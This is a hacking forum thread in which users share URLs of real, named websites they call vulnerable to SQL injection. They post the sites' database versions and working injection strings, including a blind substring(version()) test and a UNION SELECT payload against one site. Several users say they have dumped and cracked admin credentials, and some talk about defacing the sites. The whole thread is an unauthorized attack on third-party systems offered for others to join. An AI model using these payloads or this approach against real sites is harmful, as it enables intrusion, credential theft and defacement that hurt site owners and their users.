[PlαyBoy]

Hello,

Here are 3 new vurnerable sites have fun with them!

http://www.marmoon.com/games.php?id=437
http://pjsbt.vicp.net/news_view.php?id=106
http://www.marches-walks.co.uk/news_view.php?id=16

[Vinster]

thanks for this (: injected 1st one so far and unencrypted password :D

[ajkaro]

http://www.marches-walks.co.uk/news_view.php?id=16

version 4.1.19-standard-log

http://pjsbt.vicp.net/news_view.php?id=106

version 5.0.27-community-nt-log

http://www.marmoon.com/games.php?id=437

version 5.0.51a-24+lenny5-log

[Define©]

the first one gives me:
Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in /home/www/virtual/marmoon.com/htdocs/games.php on line 10

how is it vulnerable?

[Th3PonyWizard]

the first one gives me:
Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in /home/www/virtual/marmoon.com/htdocs/games.php on line 10

how is it vulnerable?

Code

http://www.marmoon.com/games.php?id=437 and substring(version(),1,1)=5--+ //no error

http://www.marmoon.com/games.php?id=437 and substring(version(),1,1)=4--+ //error

Blind

[TheW3bster]

Code

http://www.marmoon.com/games.php?id=437 and substring(version(),1,1)=5--+ //no error

http://www.marmoon.com/games.php?id=437 and substring(version(),1,1)=4--+ //error

Blind

Well i can ignore that one. I HATE blind injection D:

[ajkaro]

the first one gives me:
Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in /home/www/virtual/marmoon.com/htdocs/games.php on line 10

how is it vulnerable?

http://www.marmoon.com/games.php?id=-437 UNION SELECT 1,2,3,@@version,5,6,7,8,@@version,10,11,@@version,13--

[IMG]http://www.anonmgur.com/up/431c2fc84d42cca48c1fb620289d5c91.png[/IMG]

[Th3PonyWizard]

http://www.marmoon.com/games.php?id=-437 UNION SELECT 1,2,3,@@version,5,6,7,8,@@version,10,11,@@version,13--

o-o
My mistake, I had errors checking columns so I thought using union ain't possible here :3

[ajkaro]

Well i can ignore that one. I HATE blind injection D:

You can use UNION 👍 I hate blind too 🙃

[partian]

Nice find, if any are defaced surely OP should get some of what little credit for finding the sites,
just saying.

[2bone4u]

Here is one to try: http://www.extremehairdo.co.nz

[pica]

Here you go: http://pastebin.com/Wjape4tC
Thats marmoon, not hackable...

[thunderstrom]

Cracking the first one right now Lulz....

---

Can't Find the Admin page of the first one :(

Have the Username And Pass ^^

[kaui]

Anyone change the password from first site?
Cant login with admin and asd***..

[cyber uryuu]

thanks for sharing those sites have a good day